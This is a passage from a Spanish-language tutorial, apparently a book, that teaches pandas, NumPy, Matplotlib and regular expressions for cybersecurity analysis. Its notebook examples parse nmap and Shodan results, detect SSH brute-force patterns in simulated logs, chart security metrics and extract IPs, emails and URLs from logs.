<service name="ssh" product="OpenSSH" version="7.2p2" extrainfo="Ubuntu Linux;
protocol 2.0"/>
</port>
<port protocol="tcp" portid="80">
<state state="open"/>
<service name="http" product="Apache" version="2.4.18"/>
</port>
</ports>
118
</host>
<host>
<address addr="[Link]" addrtype="ipv4"/>
<ports>
<port protocol="tcp" portid="80">
<state state="open"/>
<service name="http" product="Nginx" version="1.18.0"/>
</port>
</ports>
</host>
</nmaprun>
"""
In [278]:
import [Link] as ET
root = [Link](nmap_result)
In [279]:
import pandas as pd
Creamos unas listas vacías para almacenar los datos del escaneo de nmap.
In [280]:
addresses = []
ports = []
services = []
Recorrimos el XML en búsqueda de su estructura para guardar los datos del escaneo.
In [281]:
for host in [Link]('.//host'):
address = [Link]('.//address').get('addr')
for port in [Link]('.//port'):
port_id = [Link]('portid')
state = [Link]('state').get('state')
service = [Link]('service')
service_name = [Link]('name')
service_product = [Link]('product')
service_version = [Link]('version')
[Link](address)
[Link](port_id)
[Link]((service_name, service_product, service_version, state))
119
Creamos un Dataframe para dar estructura a los datos e ingresamos las variables del escaneo para
finalmente terminar mostramos el dataframe con su resultado.
In [282]:
df = [Link]({'IP Address': addresses,
'Port': ports,
'Service Name': [s[0] for s in services],
'Product': [s[1] for s in services],
'Version': [s[2] for s in services],
'State': [s[3] for s in services]})
print(df)
Ya viendo el resultado final, nos podemos imaginar que hace pandas y a que se refiere con un Dataframe, en
mi caso me gusta imaginar un Dataframe, es como una hoja de cálculo Excel que puedes utilizar para
buscar, filtrar, hacer consultas, eliminar registros de manera estructurada y ordenada, además que también,
permite la lectura de por ejemplo CSV, Excel, SQL, JSON de forma nativa sin necesidad de instalar un motor
de base de datos por ejemplo.
Para nosotros que trabajamos en ciberseguridad, saber utilizar esta librería nos da gran ventaja al momento
de procesar datos y sacar provecho a esta librería, en estos momentos, la usan muchos ingenieros de datos
en el análisis científico o en la IA, pero poco se usa en el mundo tan técnico como el hacking o la
ciberseguridad en general.
Veamos otro ejemplo para ir aprendiendo más de su uso, imaginemos que tenemos una serie de
vulnerabilidades en uno de los sistemas que estamos auditando y queremos saber cuáles de todas las
vulnerabilidades encontradas son las más criticas para comenzar a reducir las brechas de seguridad en la
compañía.
In [283]:
import pandas as pd
tomamos el objeto anterior y lo transformamos a un dataframe, filtramos por severidad y solo vamos a
seleccionar las que sean igual a críticas
In [284]:
df = [Link](data)
120
vulnerabilidades_criticas = df[df['Severidad'] == 'Crítica']
print(vulnerabilidades_criticas)
Vulnerabilidad Severidad
0 CVE-2021-1234 Crítica
3 CVE-2021-3456 Crítica
Para ser una búsqueda en un objeto, se puede apreciar lo fácil que es hacer un filtro de búsqueda por un
atributo en específico.
Supongamos ahora que tenemos que hacer un resumen de los incidentes de seguridad de una empresa
donde tenemos fechas y tipos de incidentes.
In [285]:
import pandas as pd
Si deseamos contar la cantidad de incidentes basta con agregar la funcion value_counts() y podemos
agrupar y contar los incidentes por sus respectivos tipos, algo muy parecido en SQL con la palabra reservada
GROUP BY
In [286]:
df = [Link](data)
incidentes_por_tipo = df['Tipo'].value_counts()
print(incidentes_por_tipo)
Tipo
Malware 2
Phishing 2
DDoS 1
Name: count, dtype: int64
Finalmente, hagamos un ejemplo de cantidad de ataques en una organización donde tendremos tipos de
ataques y cantidad de ataques y se nos pide graficarlos para mostrarlos en un comité de riesgos.
In [287]:
import pandas as pd
import [Link] as plt
121
'Cantidad': [50, 30, 40, 60, 20]}
df = [Link](data)
In [288]:
print(df)
In [289]:
[Link](x='Tipo de Ataque', y='Cantidad', kind='bar')
[Link]('Tipo de Ataque')
[Link]('Cantidad')
[Link]('Ataques por Tipo')
[Link]()
122
Tenemos un gráfico muy rápido y solo en unas pocas líneas de código.
Un caso un poco más real para soltar la mano, sería poniéndonos en una situación hipotética donde, nos
piden tomar los resultados de shodan y graficar la cantidad de hallazgos encontrados para un estudio de
ciberseguridad.
In [290]:
import pandas as pd
import [Link] as plt
shodan_response = {
"matches": [
{
"ip_str": "[Link]",
"port": 80,
"organization": "Example Corp",
"vulns": [
"CVE-2020-1234",
"CVE-2020-5678"
]
},
{
"ip_str": "[Link]",
"port": 22,
"organization": "Sample Inc",
"vulns": [
"CVE-2021-4321"
]
},
{
"ip_str": "[Link]",
"port": 443,
"organization": "Internal Server",
"vulns": [
"CVE-2019-8765"
]
},
{
"ip_str": "[Link]",
"port": 8080,
"organization": "Local Network",
"vulns": [
"CVE-2018-1111"
]
},
{
"ip_str": "[Link]",
"port": 3389,
"organization": "Internal Server",
123
"vulns": [
"CVE-2017-2222"
]
},
{
"ip_str": "[Link]",
"port": 21,
"organization": "FTP Service",
"vulns": [
"CVE-2022-9999"
]
}
]
}
Miren esta maravilla, podemos tomar directamente la respuesta de shodan que le realizamos a la API y
pasarla sin gran esfuerzo a un dataframe:
In [291]:
df = [Link](shodan_response['matches'])
In [292]:
df
Out[292]:
Example [CVE-2020-1234,
0 [Link] 80
Corp CVE-2020-5678]
198.51.100.
1 22 Sample Inc [CVE-2021-4321]
2
124
Internal
2 [Link] 443 [CVE-2019-8765]
Server
808 Local
3 [Link] [CVE-2018-1111]
0 Network
338 Internal
4 [Link] [CVE-2017-2222]
9 Server
[Link]
5 21 FTP Service [CVE-2022-9999]
0
In [293]:
organization_counts = df['organization'].value_counts()
organization_counts.plot(kind='bar', color='royalblue')
[Link]('Organización')
[Link]('Número de Hosts')
[Link]('Número de Hosts por Organización')
[Link](rotation=45)
plt.tight_layout()
[Link]()
125
Numpy
Imaginemos NumPy como una forma de ampliar lo que Python puede hacer con números… algo así como
agregarle un módulo extra para trabajar con operaciones matemáticas de forma rápida y eficiente. NumPy
fue creada precisamente para eso, manejar matrices, vectores y cálculos numéricos sin que tengamos que
escribir todo a mano.
Su nombre viene de Numerical Python… y en la práctica se siente así, directo, preciso y muy útil cuando los
datos empiezan a crecer más de la cuenta.
También aparece en procesamiento de imágenes, señales y análisis estadísticos que apoyan tareas de
investigación.
NumPy no intenta ser mágico, simplemente hace que operaciones que serían lentas o complejas en Python
común, funcionen rápido y de manera ordenada. Eso es todo… y con eso basta para que uno lo termine
usando más seguido de lo que esperaba.
126
Ahora veamos un ejemplo sencillo importando la librería import numpy y renombrándola a np con la
palabra reservada as, en términos simples, significa, tomo la librería numpy y la voy a llamar con el nombre
np cada vez que la quiera usar (Puede ser cualquier nombre que elijamos):
# import numpy as np
ejemplo:
In [294]:
import numpy as np
Una vez importada la librería, vamos a crear un arreglo que contenga varias direcciones IPs para usarlas en
el ejemplo:
In [295]:
ip_addr = [Link](['[Link]', '[Link]', '[Link]', '[Link]',
'[Link]'])
Ahora imaginemos que nos piden en nuestro trabajo contar la frecuencia que se repite un dirección IP para
saber si la empresa se encuentra bajo un ataque de diccionario:
In [296]:
cant_ips, conteo = [Link](ip_addr, return_counts=True)
La función [Link]() ,es útil cuando necesitamos identificar los valores únicos de una matriz y
usarlos para un procesamiento posterior... cómo contar ocurrencias o filtrar duplicados.
Mirando lo que contienen estas variables podemos ver su resultado, en este caso, filtró los duplicados y dejo
solamente que existían estas Ips como únicas dentro del arreglo ['[Link]', '[Link]',
'[Link]']
In [297]:
cant_ips
Out[297]:
array(['[Link]', '[Link]', '[Link]'], dtype='<U11')
Podemos ver en el ejemplo anterior, que Numpy nos retorna un dtype, lo que significa que esta librería
intenta adivinar el contenido del arreglo, por ejemplo... recibimos un dtype=<U11 que se traduce que el tipo
de dato es formato Unicode y que contiene 11 caracteres.
In [298]:
conteo
Out[298]:
127
array([2, 2, 1])
In [300]:
print("Direcciones IP Únicas:", cant_ips)
print("Frecuencia de cada IP:", conteo)
Ahora si queremos unir dos listas o tuplas, se puede usar la función zip()... que nos permite unir las
direcciones IPs y la frecuencia de cuantas veces aparece, esto lo vemos en :
zip(cant_ips, conteo)
In [301]:
union_res = dict(zip(cant_ips, conteo))
Vemos que el resultado está correcto… imprimiendo nuestro diccionario tal como lo esperábamos. Esto nos
confirma que la estructura quedó bien armada y que los datos fueron cargados sin problemas..
In [302]:
union_res
Out[302]:
{np.str_('[Link]'): np.int64(2),
np.str_('[Link]'): np.int64(2),
np.str_('[Link]'): np.int64(1)}
Finalmente, recorremos los registros con un for para ir enumerando los resultados por pantalla… una forma
simple y ordenada de revisar qué se generó y confirmar que todos los datos quedaron como esperábamos.
In [303]:
for resp_ips in union_res:
print("Dirección IP :", resp_ips , " Cantidad : " , union_res[resp_ips])
Para el próximo ejemplo vamos a hacer algo parecido al anterior… pero con un poco más de complejidad.
Esta vez vamos a usar NumPy para generar direcciones IP aleatorias y así tener muchos más datos
disponibles cuando necesitemos hacer pruebas, alimentar un script… o simplemente crear un conjunto
grande de información para simular ataques con datos random.
128
La idea es práctica: a veces necesitamos volumen… muchas direcciones… muchas combinaciones… y
generarlas a mano no tiene ningún sentido. Con NumPy esto se vuelve rápido, limpio… y bastante útil
cuando estamos trabajando desde un Jupyter Notebook probando distintas ideas.
Vamos al ejemplo….
In [304]:
import numpy as np
Esta función genera datos aleatorios en base a una lista que tú elijas. En el primer parámetro de entrada va
tu lista de opciones… y el segundo parámetro recibe el tamaño del arreglo, por ejemplo:
[Link](lista,tamaño)
Suponiendo que queremos generar 1000 registros aleatorios de 3 direcciones IP, la función queda de esta
manera: [Link](['[Link]', '[Link]', '[Link]'],
size=1000)
Ahora comprobamos que están generados los datos… contando el arreglo con len(). len()
In [305]:
len(ip_addresses)
Out[305]:
1000
Hacemos lo mismo del primer ejemplo… seleccionando las IPs únicas generadas… y retornamos cuántas
veces se repite su frecuencia.
In [306]:
unique_ips, counts = [Link](ip_addresses, return_counts=True)
In [307]:
print("Direcciones IP Únicas:", unique_ips)
print("Frecuencia de cada IP:", counts)
In [308]:
import [Link] as plt
129
[Link](figsize=(10, 5))
[Link](unique_ips, counts, color='red')
[Link]('Direcciones IP')
[Link]('Conteo')
[Link]('Conteo de Direcciones IP Únicas')
[Link](rotation=45)
plt.tight_layout()
[Link]()
Ahora… buscaremos hacer un ejercicio mucho más entretenido, una simulación de logs de SSH, donde
tendremos que identificar patrones anómalos en los registros y descubrir al atacante. Es un caso práctico
que se acerca bastante a lo que hacemos en análisis de incidentes… pero aquí lo veremos de manera
simple, solo para entender el flujo y los datos.
In [309]:
import numpy as np
Crearemos una serie de registros de logs… imaginándonos que ya fueron parseados y formateados desde
un archivo [Link]. El contenido de este archivo será una simulación de ataques a un servicio SSH que
debemos investigar… como si estuviéramos revisando un incidente real y necesitáramos identificar qué
ocurrió en esos intentos de conexión.
In [310]:
access_logs_ssh = [
{'timestamp': '2024-05-15T08:00:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'success'},
{'timestamp': '2024-05-15T08:05:00', 'ip_address': '[Link]', 'username':
'admin','status': 'success'},
130
{'timestamp': '2024-06-15T08:00:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'success'},
{'timestamp': '2024-06-15T08:05:00', 'ip_address': '[Link]', 'username':
'admin','status': 'success'},
{'timestamp': '2024-06-15T08:10:00', 'ip_address': '[Link]', 'username':
'user2', 'status': 'failure'},
{'timestamp': '2024-07-15T08:00:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'success'},
{'timestamp': '2024-07-15T08:05:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'success'},
{'timestamp': '2024-07-15T08:10:00', 'ip_address': '[Link]', 'username':
'user2', 'status': 'failure'},
{'timestamp': '2024-07-15T08:15:00', 'ip_address': '[Link]', 'username':
'user3', 'status': 'success'},
{'timestamp': '2024-07-15T08:20:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T08:25:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'success'},
{'timestamp': '2024-07-15T08:30:00', 'ip_address': '[Link]', 'username':
'user2', 'status': 'failure'},
{'timestamp': '2024-07-15T08:35:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'success'},
{'timestamp': '2024-07-15T08:40:00', 'ip_address': '[Link]', 'username':
'user3', 'status': 'success'},
{'timestamp': '2024-07-15T08:45:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'failure'},
{'timestamp': '2024-07-15T08:50:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'success'},
{'timestamp': '2024-07-15T08:55:00', 'ip_address': '[Link]', 'username':
'user2', 'status': 'failure'},
{'timestamp': '2024-07-15T09:00:00', 'ip_address': '[Link]', 'username':
'user3', 'status': 'success'},
{'timestamp': '2024-07-15T09:05:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:10:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'success'},
{'timestamp': '2024-07-15T09:15:00', 'ip_address': '[Link]', 'username':
'user2', 'status': 'success'},
{'timestamp': '2024-07-15T09:20:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:20:01', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:20:02', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:20:02', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:20:02', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:25:00', 'ip_address': '[Link]', 'username':
'user3', 'status': 'success'},
{'timestamp': '2024-07-15T09:30:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'success'},
131
{'timestamp': '2024-07-15T09:35:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:40:00', 'ip_address': '[Link]', 'username':
'user2', 'status': 'success'},
]
Imprimamos los registros de logs… para verificar que todo está en orden.
In [311]:
print("Registros de access logs SSH:")
for i, log in enumerate(access_logs_ssh):
print(f"Registro {i + 1}: {log}")
132
Registro 20: {'timestamp': '2024-07-15T09:10:00', 'ip_address': '[Link]',
'username': 'user1', 'status': 'success'}
Registro 21: {'timestamp': '2024-07-15T09:15:00', 'ip_address': '[Link]',
'username': 'user2', 'status': 'success'}
Registro 22: {'timestamp': '2024-07-15T09:20:00', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}
Registro 23: {'timestamp': '2024-07-15T09:20:01', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}
Registro 24: {'timestamp': '2024-07-15T09:20:02', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}
Registro 25: {'timestamp': '2024-07-15T09:20:02', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}
Registro 26: {'timestamp': '2024-07-15T09:20:02', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}
Registro 27: {'timestamp': '2024-07-15T09:25:00', 'ip_address': '[Link]',
'username': 'user3', 'status': 'success'}
Registro 28: {'timestamp': '2024-07-15T09:30:00', 'ip_address': '[Link]',
'username': 'user1', 'status': 'success'}
Registro 29: {'timestamp': '2024-07-15T09:35:00', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}
Registro 30: {'timestamp': '2024-07-15T09:40:00', 'ip_address': '[Link]',
'username': 'user2', 'status': 'success'}
Ahora… resumiremos una función que itere en los registros de logs, buscando los intentos success y los
sume. Para esto, simplemente preguntaremos si log['status'] == 'success'… y, si es así, lo contamos.
In [312]:
success_count = 0
for log in access_logs_ssh:
if log['status'] == 'success':
success_count +=1
In [313]:
success_count
Out[313]:
17
La misma función anterior… se podría resumir en el siguiente algoritmo, todo en una sola línea:
In [314]:
success_count = sum(1 for log in access_logs_ssh if log['status'] == 'success')
In [315]:
133
success_count
Out[315]:
17
In [316]:
failure_count = sum(1 for log in access_logs_ssh if log['status'] == 'failure')
In [317]:
print("\nCantidad de intentos de conexión SSH:")
print(f"Exitosos: {success_count}")
print(f"Fallidos: {failure_count}")
Para hacer el ejercicio más completo… usaremos matemáticas simples para detectar umbrales y medias de
logins, con la idea de identificar comportamientos anómalos dentro de los logs. Esto nos permite comparar lo
normal, con lo que se sale del patrón… y detectar actividad que podría ser sospechosa.
Usaremos también la librería de diccionarios, porque trabajar con llaves y valores hace mucho más fácil
guardar los registros… y después operar sobre ellos para análisis posteriores.
In [318]:
from collections import defaultdict
In [319]:
logs_by_day = defaultdict(int)
conteo = []
dias = []
Al recorrer los registros uno por uno… extraeremos el día del login, asumiendo que los datos ya vienen
formateados como YYYY-MM-DDTHH:MM:SS. En casos reales podríamos encontrarnos con otros formatos,
dependiendo de la configuración del servidor… pero para este ejemplo, la simpleza es necesaria para
resumir el ejercicio.
134
In [320]:
for log in access_logs_ssh:
day = log['timestamp'][:10] # Esto extrae la parte de 'YYYY-MM-DD'
logs_by_day[day] += 1
In [321]:
print("[-] Eventos por día:")
for day, count in logs_by_day.items():
print(f"{day}: {count} eventos")
[Link](count)
[Link](day)
Si hubiesen más eventos en los otros días… tendríamos más agrupaciones por día. Ahora sacaremos la
media y la desviación estándar… para empezar a medir qué tan normal es el comportamiento que estamos
viendo.
In [322]:
mean_value = [Link](conteo)
std_deviation = [Link](conteo)
print("-"*20)
print(f"Media : {mean_value}")
print(f"Desviación : {std_deviation}")
print("-"*20)
--------------------
Media : 10.0
Desviación : 10.614455552060438
--------------------
In [323]:
import [Link] as plt
# Configurar umbral para detección de anomalías
threshold = mean_value + std_deviation
135
Si desde aquí te dio curiosidad de cómo sería el parser de un log SSH sin formato… es algo parecido a
esto…
In [324]:
logs_text ="""
May 1 08:23:45 server1 sshd[1032]: Accepted password for alice from [Link] port
53222 ssh2
May 1 10:15:07 server1 sshd[2045]: Failed password for root from [Link] port
44123 ssh2
May 1 11:02:33 server1 sshd[3056]: Failed password for invalid user admin from
[Link] port 32234 ssh2
May 2 09:45:19 server1 sshd[4098]: Accepted password for bob from [Link] port
48766 ssh2
May 2 10:20:45 server1 sshd[5124]: Failed password for root from [Link] port
44123 ssh2
"""
Para parsearlo, lo podemos hacer mediante expresiones regulares… como las siguientes:
In [325]:
import re
from datetime import datetime
log_pattern = [Link](
r'^(?P<date>\w+ \d+ \d+:\d+:\d+) (?P<host>\w+) sshd\[\d+\]: (?P<message>.*)$'
)
136
Creamos una función para parsear el texto línea por línea… y procedemos a imprimir el resultado en la
misma iteración.
In [326]:
for line_t in logs_text.splitlines():
match_regx = log_pattern.match(line_t)
if match_regx:
date_str = match_regx.group('date')
date = [Link](date_str, '%b %d %H:%M:%S')
message = match_regx.group('message')
ip_match = [Link](r'\b(?:\d{1,3}\.){3}\d{1,3}\b', message) # Buscar la
dirección IP en el mensaje
if ip_match:
ip_address = ip_match.group()
else:
ip_address = None
print("-"*100)
print("[- Fecha] " + str([Link](year=[Link]().year)))
print("[- Host] " + match_regx.group('host'))
print("[- msj] " + message)
print("[- Ip] " + ip_address)
---------------------------------------------------------------------------------------
-------------
[- Fecha] 2025-05-01 08:23:45
[- Host] server1
[- msj] Accepted password for alice from [Link] port 53222 ssh2
[- Ip] [Link]
---------------------------------------------------------------------------------------
-------------
[- Fecha] 2025-05-01 10:15:07
[- Host] server1
[- msj] Failed password for root from [Link] port 44123 ssh2
[- Ip] [Link]
---------------------------------------------------------------------------------------
-------------
[- Fecha] 2025-05-01 11:02:33
[- Host] server1
[- msj] Failed password for invalid user admin from [Link] port 32234 ssh2
[- Ip] [Link]
---------------------------------------------------------------------------------------
-------------
[- Fecha] 2025-05-02 09:45:19
[- Host] server1
[- msj] Accepted password for bob from [Link] port 48766 ssh2
[- Ip] [Link]
---------------------------------------------------------------------------------------
-------------
[- Fecha] 2025-05-02 10:20:45
137
[- Host] server1
[- msj] Failed password for root from [Link] port 44123 ssh2
[- Ip] [Link]
El próximo módulo será de expresiones regulares, por si no entendiste el código anterior… dedicaré un
apartado exclusivo para eso, para ojalá dar una buena base de su uso.
Y, para darle un buen final a este módulo de NumPy….. crearemos un ejercicio donde simularemos datos
comunes en una empresa que tiene un área de ciberseguridad. Para esto inventaremos 9 indicadores
macros… y generaremos registros para 12 meses, para finalmente graficarlo.
In [327]:
import [Link] as plt
import numpy as np
In [328]:
meses = [Link](1, 13)
registros_siem = [Link](1000, 5000, size=12)
ataques_bloqueados = [Link](100, 1000, size=12)
phishing_bloqueados = [Link](50, 500, size=12)
eventos_anomalos = [Link](200, 1500, size=12)
registros_antimalware = [Link](500, 2000, size=12)
servidores = [Link](10, 100, size=12)
vulnerabilidades_criticas = [Link](5, 50, size=12)
vulnerabilidades_repositorios = [Link](20, 200, size=12)
total_repositorios = [Link](50, 500, size=12)
Y procedemos a graficarlos:
In [329]:
[Link](figsize=(14, 10))
[Link](3, 4, 1)
[Link](meses, registros_siem, marker='o')
[Link]('Registros del SIEM')
[Link](3, 4, 2)
[Link](meses, ataques_bloqueados, marker='o')
[Link]('Ataques Bloqueados')
[Link](3, 4, 3)
[Link](meses, phishing_bloqueados, marker='o')
138
[Link]('Phishing Bloqueados')
[Link](3, 4, 4)
[Link](meses, eventos_anomalos, marker='o')
[Link]('Eventos Anómalos')
[Link](3, 4, 5)
[Link](meses, registros_antimalware, marker='o')
[Link]('Registros de Antimalware')
[Link](3, 4, 6)
[Link](meses, servidores, marker='o')
[Link]('Cantidad de Servidores')
[Link](3, 4, 7)
[Link](meses, vulnerabilidades_criticas, marker='o')
[Link]('Vulnerabilidades Críticas')
[Link](3, 4, 8)
[Link](meses, vulnerabilidades_repositorios, marker='o')
[Link]('Vulnerabilidades en Repositorios')
[Link](3, 4, 9)
[Link](meses, total_repositorios, marker='o')
[Link]('Total de Repositorios')
plt.tight_layout()
[Link]()
Si quisiéramos sacar la efectividad de los controles, por ejemplo… podríamos usar esta ecuación…
In [330]:
porcentaje_efectividad_ataques = (ataques_bloqueados / ataques_bloqueados.sum()) * 100
porcentaje_efectividad_phishing = (phishing_bloqueados / phishing_bloqueados.sum()) *
100
porcentaje_eventos_anomalos = (eventos_anomalos / eventos_anomalos.sum()) * 10
In [331]:
[Link](figsize=(12, 6))
139
[Link](meses, porcentaje_efectividad_phishing, label='Efectividad de Phishing',
alpha=0.5)
[Link](meses, porcentaje_eventos_anomalos, label='Eventos Anómalos', alpha=0.5)
140
Matplotlib
Matplotlib es una de esas librerías que… cuando recién estás partiendo.... se siente como... ah, ya, otra
herramienta para hacer gráficos. Pero en ciberseguridad... créeme, puede marcar la diferencia entre mirar un
montón de números en bruto y entender realmente qué está pasando en tu entorno.
Python por sí solo ya es potente.... pero cuando mezclas datos, logs, patrones y comportamiento...
visualizarlos te permite detectar cosas que, a simple vista, pasan piola.
Antes de pasar al siguiente gráfico, hagamos un ejemplo sencillo… algo que podrías encontrarte en cualquier
reporte de seguridad. Imaginemos que acabamos de terminar un scan y queremos visualizar rápidamente
cuántas vulnerabilidades encontramos por categoría. Nada del otro mundo… pero muy útil cuando quieres
ver de un vistazo dónde está el mayor dolor de cabeza.
Con eso en mente… construyamos un gráfico de barras que muestre los tipos de vulnerabilidades y su
cantidad:
In [332]:
import [Link] as plt
141
Sigamos con otro caso típico… los honeypots. Cuando levantamos uno, siempre terminamos con un montón
de ataques distintos dando vueltas… y a veces cuesta hacerse una idea rápida de cuál está pegando más
fuerte.
Para eso… un gráfico circular funciona perfecto. Nos permite ver la distribución de ataques de manera
visual… sin tener que calcular mentalmente qué porcentaje representa cada uno.
In [333]:
attacks = ['DDoS', 'Phishing', 'Ransomware', 'Brute Force', 'Man-in-the-Middle']
percentages = [30, 25, 20, 15, 10]
Ahora… pensemos en un caso súper común en cualquier SOC o CSIRT: ver cómo evolucionan los intentos
de ataque a lo largo del tiempo. A veces los números suben sin que nadie se dé cuenta… otras veces hay un
pico sospechoso que te deja con cara de, mmm… esto no debería estar pasando. Para visualizar ese tipo de
comportamiento, una gráfica de línea funciona perfecto, te muestra de inmediato la tendencia y cualquier
cambio extraño en el patrón.
In [334]:
time = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun']
attempts = [10, 50, 70, 40, 90, 110]
142
[Link](time, attempts, marker='o')
[Link]('Intentos de Ataque a lo Largo del Tiempo')
[Link]('Intentos de Ataque')
[Link]('Meses')
[Link]()
Otro caso muy útil en ciberseguridad… es analizar cómo cambia nuestro tiempo de respuesta dependiendo
de la gravedad del incidente. Porque una cosa es reaccionar rápido a un phishing menor… y otra muy
distinta es cuando tienes un RCE en producción y todo el equipo corre como si se hubiese caído la Fuerza.
Para visualizar esa relación, un gráfico de dispersión funciona excelente… te muestra la tendencia de forma
clara.
Aquí va el ejemplo:
In [335]:
severity = [1, 2, 3, 4, 5]
response_time = [10, 20, 25, 35, 50]
143
Veamos otro ejemplo tipo de visualización que se usa harto cuando queremos entender cómo se distribuyen
los tiempos de respuesta dentro del SOC. A veces creemos que respondemos rápido… pero cuando graficas
los datos, te das cuenta de que la mitad de los incidentes quedó esperando como ticket de soporte en día
feriado.
Un histograma es perfecto para esto… porque muestra cuántas veces se repite cada rango de tiempo y te da
una sensación inmediata de si la operación está saludable… o necesita un café doble.
Aquí va el ejemplo:
In [336]:
response_times = [5, 10, 15, 15, 20, 25, 30, 35, 40, 45, 50, 50, 55, 60]
144
veamos un caso donde necesitamos comparar sistemas operativos entre sí. Algo tan simple como revisar
detecciones de malware por plataforma puede revelar patrones súper útiles… por ejemplo, cuándo Windows
empieza a subir demasiado, o cuándo Linux muestra un comportamiento raro (sí… pasa… aunque a veces
cueste admitirlo).
Un gráfico de áreas nos permite ver estas tendencias de forma acumulativa y comparativa… todo en una
sola figura.
Aquí va el ejemplo:
In [337]:
months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun']
windows = [30, 40, 50, 60, 70, 90]
linux = [20, 30, 40, 50, 60, 80]
mac = [10, 15, 20, 25, 30, 35]
145
Ahora… pensemos en otro escenario típico del día a día, comparar soluciones antivirus. A veces en una
empresa conviven varias plataformas o estás evaluando cuál se comporta mejor… y mirar los números en
bruto puede ser medio fome. Un gráfico de líneas, en cambio, te muestra inmediatamente cuál detecta
más… cuál se queda atrás… y cuál sube o baja según el mes.
In [338]:
months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun']
antivirus_1 = [90, 85, 95, 100, 110, 120]
antivirus_2 = [80, 82, 85, 88, 90, 95]
antivirus_3 = [70, 75, 80, 85, 90, 100]
146
Y para cerrar este módulo de visualización… nada más apropiado que mirar algo del framework MITRE
ATT&CK. En muchos análisis de incidentes terminamos clasificando las tácticas y técnicas usadas por un
atacante… y verlas en una gráfica horizontal ayuda bastante a entender cuáles aparecen con mayor
frecuencia.
In [339]:
techniques = ['T1059', 'T1071', 'T1210', 'T1566', 'T1078']
counts = [50, 45, 40, 35, 30]
147
Expresiones Regulares
Las expresiones regulares son una herramienta esencial en las tareas de ciberseguridad del día a día… nos
ayudan a validar entradas de datos, detectar patrones sospechosos y extraer información relevante desde
grandes volúmenes de texto. En otras palabras… son como ese filtro mental que uno desarrolla después de
años revisando logs, pero aplicado directamente al código.
Estos ejercicios que propongo con cariño en este libro buscan darte una base sólida para empezar a usar
regex en escenarios reales… desde lo más simple hasta casos un poco más útiles para pentesting, análisis
forense o automatización.
Partiremos con ejercicios pensados para principiantes… y luego iremos subiendo la dificultad. Las primeras
explicaciones serán detalladas… y mientras avancemos, irán siendo más breves… para dejar espacio a la
práctica, que al final es lo que realmente te hace dominar esto.
Partamos con el primer ejercicio… algo bien simple para calentar motores y entender cómo funciona
[Link]() en Python.
La idea es buscar un patrón dentro de un texto y ver si aparece… nada más complicado que eso. Piensa en
esto como la versión básica de revisar un log y preguntarte: ¿está esta palabra aquí o no?
Aquí va el ejemplo:
In [340]:
import re
pattern = r'hack'
text = "Learning to hack is fun."
hack
La r antes de una cadena de texto r'hacks' en Python indica que la cadena es una cadena cruda o raw
string. Al usar una raw string, Python no interpreta estos caracteres especiales:
Los trata literalmente. Esto es especialmente útil en expresiones regulares, donde las barras invertidas son
comunes
148
La r antes de una cadena de texto r'hacks' en Python indica que la cadena es una cadena cruda o raw
string. Al usar una raw string, Python no interpreta estos caracteres especiales:
Los trata literalmente. Esto es especialmente útil en expresiones regulares, donde las barras invertidas son
comunes
Imaginemos que vamos buscar direcciones IPs en un log ([Link], syslog, etc.).
entonces tenemos la siguiente cadena de texto: Conexión desde [Link] al puerto 443
In [342]:
import re
busqueda = "Conexión desde [Link] al puerto 443"
ip_regex = r"\b\d{1,3}(\.\d{1,3}){3}\b"
texto_ips = """
Conexion desde [Link] al puerto 443
Intento desde [Link] bloqueado
Texto cualquiera .......
Texto cualquiera .......
"""
ips = [Link](ip_regex, texto_ips)
In [343]:
ips
Out[343]:
['.5', '.100']
Ojo: como usamos paréntesis, la función [Link] devuelve solo el grupo. Para ver las IP completas, mejor
usar [Link]:
In [346]:
ips_completas = [[Link](0) for m in [Link](ip_regex, texto_ips)]
print("[x] IPs detectadas: ", ips_completas)
Esta expresión regular sirve por ejemplo para Logs de aplicaciones, registros de usuarios, formularios raros.
In [347]:
149
email_regex = r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b"
texto_emails = """
Usuario [Link]@[Link] fallo 3 intentos de login
Contacto: soporte@[Link]
Esto no es un correo: user@@example..com
"""
A veces nos tocará buscar en Logs de WAF, proxy, o app que guarda URLs visitadas. para esto, usaremos el
siguiente ejemplo:
In [348]:
url_regex = r"https?:\/\/[^\s\"]+"
texto_urls = """
User visited [Link]
User visited [Link]
Y este texto no tiene URL
Y este texto tampoco .....
"""
A veces nos tocará LIMPIAR solo lo que nos sirve para una investigación, por ejemplo podríamos buscar con
filtros de solo errores o warnings en un log gigante.
In [349]:
nivel_regex = r"\[(INFO|WARN|ERROR|DEBUG|CRITICAL)\]"
texto_logs = """
2025-11-19 10:22:01 [ERROR] Invalid token from [Link]
2025-11-19 10:23:01 [INFO] User logged in
